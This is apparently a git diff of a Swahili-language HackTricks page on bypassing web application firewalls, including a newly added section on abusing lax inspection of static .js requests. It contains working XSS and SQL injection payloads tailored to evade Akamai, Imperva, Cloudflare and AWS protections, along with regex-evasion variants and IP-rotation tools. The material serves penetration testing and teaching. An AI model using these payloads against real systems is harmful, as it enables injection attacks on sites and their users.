Nginx imewekwa ili kuzuia ufikiaji wa `/admin.php` lakini inawezekana kupita hii kwa kufikia `/admin.php/index.php`.
|
||||
|
||||
### Jinsi ya kuzuia
|
||||
```plaintext
|
||||
@ -79,15 +79,15 @@ Hivyo, ombi kama `http://example.com/foo%3f';alert(1);foo=` katika mod security
|
||||
|
||||
Vigezo `REQUEST_BASENAME` na `PATH_INFO` pia vilikumbwa na hitilafu hii.
|
||||
|
||||
Kitu kama hicho kilitokea katika toleo la 2 la Mod Security ambayo iliruhusu kupita ulinzi ambao ulizuia mtumiaji kufikia faili zenye extensions maalum zinazohusiana na faili za akiba (kama `.bak`) kwa kutuma tu dot URL encoded katika `%2e`, kwa mfano: `https://example.com/backup%2ebak`.
|
||||
Kitu kama hicho kilitokea katika toleo la 2 la Mod Security ambayo iliruhusu kupita ulinzi ambao ulizuia mtumiaji kufikia faili zenye viambatisho maalum vinavyohusiana na faili za akiba (kama `.bak`) kwa kutuma tu dot URL iliyohifadhiwa katika `%2e`, kwa mfano: `https://example.com/backup%2ebak`.
|
||||
|
||||
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### Malformed Header
|
||||
|
||||
[Utafiti huu](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) unataja kwamba ilikuwa inawezekana kupita sheria za AWS WAF zilizotumika juu ya vichwa vya HTTP kwa kutuma kichwa "kilichovunjika" ambacho hakikupaswa kuchambuliwa vizuri na AWS lakini kilichambuliwa na seva ya nyuma.
|
||||
[Utafiti huu](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) unataja kwamba ilikuwa inawezekana kupita sheria za AWS WAF zilizotumika juu ya vichwa vya HTTP kwa kutuma kichwa "kilichovunjika" ambacho hakikupaswa vizuri na AWS lakini kilipaswa na seva ya nyuma.
|
||||
|
||||
Kwa mfano, kutuma ombi lifuatalo lenye SQL injection katika kichwa cha X-Query:
|
||||
Kwa mfano, kutuma ombi lifuatalo lenye SQL injection katika kichwa X-Query:
|
||||
```http
|
||||
GET / HTTP/1.1\r\n
|
||||
Host: target.com\r\n
|
||||
@ -96,7 +96,7 @@ X-Query: Value\r\n
|
||||
Connection: close\r\n
|
||||
\r\n
|
||||
```
|
||||
Iliwezekana kupita AWS WAF kwa sababu haingelewa kwamba mstari unaofuata ni sehemu ya thamani ya kichwa wakati seva ya NODEJS ilifanya hivyo (hii ilirekebishwa).
|
||||
Ili kupita AWS WAF ilikuwa inawezekana kwa sababu haingeweza kuelewa kwamba mstari unaofuata ni sehemu ya thamani ya kichwa wakati seva ya NODEJS ilifanya hivyo (hii ilirekebishwa).
|
||||
|
||||
## Kupita WAF za Kijenerali
|
||||
|
||||
@ -108,9 +108,9 @@ Kwa kawaida WAF zina mipaka fulani ya urefu wa maombi ya kuangalia na ikiwa ombi
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Ukubwa wa juu wa mwili wa ombi la wavuti ambalo linaweza kukaguliwa kwa ulinzi wa Application Load Balancer na AWS AppSync</td><td>8 KB</td></tr><tr><td>Ukubwa wa juu wa mwili wa ombi la wavuti ambalo linaweza kukaguliwa kwa ulinzi wa CloudFront, API Gateway, Amazon Cognito, App Runner, na Verified Access**</td><td>64 KB</td></tr></tbody></table>
|
||||
|
||||
- Kutoka [**nyaraka za Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
- Kutoka [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
|
||||
Firewalls za zamani za Maombi ya Wavuti zenye Core Rule Set 3.1 (au chini) zinaruhusu ujumbe wenye ukubwa zaidi ya **128 KB** kwa kuzima ukaguzi wa mwili wa ombi, lakini ujumbe hizi hazitakaguliwa kwa udhaifu. Kwa matoleo mapya (Core Rule Set 3.2 au mpya), jambo sawa linaweza kufanywa kwa kuzima mipaka ya juu ya mwili wa ombi. Wakati ombi linapopita mipaka ya ukubwa:
|
||||
Firewalls za zamani za Programu za Wavuti zenye Core Rule Set 3.1 (au chini) zinaruhusu ujumbe wenye ukubwa zaidi ya **128 KB** kwa kuzima ukaguzi wa mwili wa ombi, lakini ujumbe huu hautakaguliwa kwa udhaifu. Kwa matoleo mapya (Core Rule Set 3.2 au mapya), jambo hilo linaweza kufanywa kwa kuzima mipaka ya juu ya mwili wa ombi. Wakati ombi linapopita mipaka ya ukubwa:
|
||||
|
||||
Ikiwa **mode ya kuzuia**: Inarekodi na kuzuia ombi.\
|
||||
Ikiwa **mode ya kugundua**: Inakagua hadi mipaka, inapuuzilia mbali yaliyobaki, na inarekodi ikiwa `Content-Length` inazidi mipaka.
|
||||
@ -123,7 +123,24 @@ Kwa kawaida, WAF inakagua tu 8KB za kwanza za ombi. Inaweza kuongeza mipaka hadi
|
||||
|
||||
Hadi 128KB.
|
||||
|
||||
### Obfuscation <a href="#obfuscation" id="obfuscation"></a>
|
||||
### Mapungufu ya ukaguzi wa mali za statiki (.js GETs)
|
||||
|
||||
Baadhi ya stacks za CDN/WAF zinaweka ukaguzi dhaifu au hakuna wa maudhui kwa maombi ya GET kwa mali za statiki (kwa mfano njia zinazomalizika na `.js`), wakati bado zinaweka sheria za kimataifa kama vile mipaka ya kiwango na sifa za IP. Imeunganishwa na uhifadhi wa kiotomatiki wa nyongeza za statiki, hii inaweza kutumika vibaya kupeleka au kuanzisha toleo mbaya linaloathiri majibu ya HTML yanayofuata.
|
||||
|
||||
Matumizi halisi:
|
||||
|
||||
- Tuma payloads katika vichwa visivyoaminika (mfano, `User-Agent`) kwenye GET kwa njia ya `.js` ili kuepuka ukaguzi wa maudhui, kisha mara moja omba HTML kuu ili kuathiri toleo lililohifadhiwa.
|
||||
- Tumia IP safi/mbadala; mara IP inapokuwa na alama, mabadiliko ya routing yanaweza kufanya mbinu hiyo isiyoaminika.
|
||||
- Katika Burp Repeater, tumia "Tuma kundi kwa pamoja" (mtindo wa pakiti moja) ili kuharakisha maombi mawili (`.js` kisha HTML) kupitia njia ile ile ya mbele.
|
||||
|
||||
Hii inafaa vizuri na sumu ya cache ya kioo cha kichwa. Tazama:
|
||||
|
||||
- {{#ref}}
|
||||
cache-deception/README.md
|
||||
{{#endref}}
|
||||
- [Jinsi nilivyogundua kuchukuliwa kwa akaunti ya 0-Click katika BBP ya umma na kuitumia kupata kazi za kiwango cha Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
```bash
|
||||
# IIS, ASP Clasic
|
||||
<%s%cr%u0131pt> == <script>
|
||||
@ -133,7 +150,7 @@ Hadi 128KB.
|
||||
```
|
||||
### Unicode Compatability <a href="#unicode-compatability" id="unicode-compatability"></a>
|
||||
|
||||
Kulingana na utekelezaji wa normalization ya Unicode (maelezo zaidi [hapa](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), wahusika wanaoshiriki ufanisi wa Unicode wanaweza kuweza kupita WAF na kutekelezwa kama mzigo ulio kusudiwa. Wahusika wanaofaa wanaweza kupatikana [hapa](https://www.compart.com/en/unicode).
|
||||
Kulingana na utekelezaji wa normalization ya Unicode (maelezo zaidi [hapa](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), wahusika wanaoshiriki ufanisi wa Unicode wanaweza kuwa na uwezo wa kupita WAF na kutekeleza kama mzigo ulokusudiwa. Wahusika wanaofaa wanaweza kupatikana [hapa](https://www.compart.com/en/unicode).
|
||||
|
||||
#### Example <a href="#example" id="example"></a>
|
||||
```bash
|
||||
@ -143,24 +160,24 @@ Kulingana na utekelezaji wa normalization ya Unicode (maelezo zaidi [hapa](https
|
||||
```
|
||||
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
Kama ilivyotajwa katika [**hiki kipande cha blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), ili kupita WAFs zinazoweza kudumisha muktadha wa ingizo la mtumiaji tunaweza kutumia mbinu za WAF ili kweli kuleta hali ya kawaida ya ingizo la watumiaji.
|
||||
Kama ilivyotajwa katika [**hiki kipande cha blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), ili kupita WAFs zinazoweza kudumisha muktadha wa ingizo la mtumiaji tunaweza kutumia mbinu za WAF ili kweli kuimarisha ingizo la watumiaji.
|
||||
|
||||
Kwa mfano, katika chapisho hilo inatajwa kwamba **Akamai ilichambua ingizo la mtumiaji mara 10**. Hivyo basi kitu kama `<input/%2525252525252525253e/onfocus` kitaonekana na Akamai kama `<input/>/onfocus` ambacho **kinaweza kufikiriwa kuwa sawa kwani lebo imefungwa**. Hata hivyo, mradi tu programu hiyo haifanyi URL decode ingizo mara 10, mwathirika ataona kitu kama `<input/%25252525252525253e/onfocus` ambacho **bado ni halali kwa shambulio la XSS**.
|
||||
Kwa mfano, katika chapisho hilo inatajwa kwamba **Akamai ilichambua ingizo la mtumiaji mara 10**. Hivyo basi kitu kama `<input/%2525252525252525253e/onfocus` kitaonekana na Akamai kama `<input/>/onfocus` ambayo **inaweza kufikiriwa kuwa sawa kwani tag imefungwa**. Hata hivyo, mradi tu programu hiyo haifanyi URL decode ingizo mara 10, mwathirika ataona kitu kama `<input/%25252525252525253e/onfocus` ambacho **bado ni halali kwa shambulio la XSS**.
|
||||
|
||||
Hivyo basi, hii inaruhusu **kuficha payloads katika sehemu zilizohifadhiwa** ambazo WAF itachambua na kutafsiri wakati mwathirika hatatambua.
|
||||
Hivyo basi, hii inaruhusu **kuficha payloads katika vipengele vilivyoimarishwa** ambavyo WAF itachambua na kutafsiri wakati mwathirika hataona.
|
||||
|
||||
Zaidi ya hayo, hii inaweza kufanywa si tu na payloads zilizohifadhiwa za URL bali pia na encoding nyingine kama unicode, hex, octal...
|
||||
Zaidi ya hayo, hii inaweza kufanywa si tu na payloads zilizochambuliwa kwa URL bali pia na uimarishaji mwingine kama unicode, hex, octal...
|
||||
|
||||
Katika chapisho hilo, bypasses za mwisho zifuatazo zinapendekezwa:
|
||||
Katika chapisho hilo, bypasses zifuatazo zinapendekezwa:
|
||||
|
||||
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
|
||||
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
|
||||
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
||||
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
||||
|
||||
Pia inatajwa kwamba kulingana na **jinsi baadhi ya WAFs zinavyoelewa muktadha** wa ingizo la mtumiaji, inaweza kuwa inawezekana kutumia vibaya. Mfano ulioanzishwa katika blog ni kwamba Akamai iliruhusu kuweka chochote kati ya `/*` na `*/` (labda kwa sababu hii hutumiwa mara nyingi kama maoni). Hivyo basi, SQLinjection kama `/*'or sleep(5)-- -*/` haitakamatwa na itakuwa halali kwani `/*` ni mfuatano wa mwanzo wa injection na `*/` imewekwa kama maoni.
|
||||
Pia inatajwa kwamba kulingana na **jinsi baadhi ya WAFs zinavyoelewa muktadha** wa ingizo la mtumiaji, inaweza kuwa inawezekana kuikandamiza. Mfano ulioanzishwa katika blog ni kwamba Akamai iliruhusu kuweka chochote kati ya `/*` na `*/` (labda kwa sababu hii hutumiwa mara nyingi kama maoni). Hivyo basi, SQLinjection kama `/*'or sleep(5)-- -*/` haitakamatwa na itakuwa halali kwani `/*` ni mfuatano wa kuanzia wa injection na `*/` imewekwa kama maoni.
|
||||
|
||||
Aina hizi za matatizo ya muktadha zinaweza pia kutumika **kuitumia vibaya udhaifu mwingine zaidi ya ule unaotarajiwa** kutumiwa na WAF (kwa mfano, hii inaweza pia kutumika kutekeleza XSS).
|
||||
Aina hizi za matatizo ya muktadha zinaweza pia kutumika **kudhulumu udhaifu mwingine zaidi ya ule unaotarajiwa** kutumiwa na WAF (kwa mfano, hii inaweza pia kutumika kutekeleza XSS).
|
||||
|
||||
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
@ -172,13 +189,13 @@ h2c-smuggling.md
|
||||
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Tengeneza URL ya API gateway kutumika na ffuf
|
||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Kufanana na fireprox
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin inayotumia IP za API gateway
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin inayotumia IPs za API gateway
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Idadi inayopangwa kwa njia ya kidinari ya mifano ya kontena inazinduliwa kulingana na ukubwa wa faili ya ingizo na kipengele cha kugawanya, huku ingizo likigawanywa katika vipande kwa utekelezaji wa sambamba, kama mifano 100 ikipitia vipande 100 kutoka kwa faili ya ingizo yenye mistari 10,000 na kipengele cha kugawanya cha mistari 100.
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
|
||||
### Regex Bypasses
|
||||
|
||||
Mbinu tofauti zinaweza kutumika kupita vichujio vya regex kwenye moto. Mifano ni pamoja na kubadilisha kesi, kuongeza mapumziko ya mistari, na kuandika payloads. Rasilimali za bypass mbalimbali zinaweza kupatikana katika [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) na [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Mifano iliyo hapa chini ilitolewa kutoka [hiki kipande](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
||||
Mbinu tofauti zinaweza kutumika kupita vichujio vya regex kwenye moto. Mifano ni pamoja na kubadilisha kesi, kuongeza mapumziko ya mistari, na kuimarisha payloads. Rasilimali za bypass mbalimbali zinaweza kupatikana katika [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) na [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Mifano iliyo hapa chini ilitolewa kutoka [hiki kipande](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
|
||||
```bash
|
||||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||||
@ -201,7 +218,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
|
||||
```
|
||||
## Tools
|
||||
|
||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin kuongeza data za kijinga kwenye maombi ili kupita WAFs kwa urefu
|
||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): Plugin ya Burp kuongeza data zisizo na maana kwenye maombi ili kupita WAFs kwa urefu
|
||||
|
||||
## References
|
||||
|
||||
@ -209,6 +226,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
|
||||
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user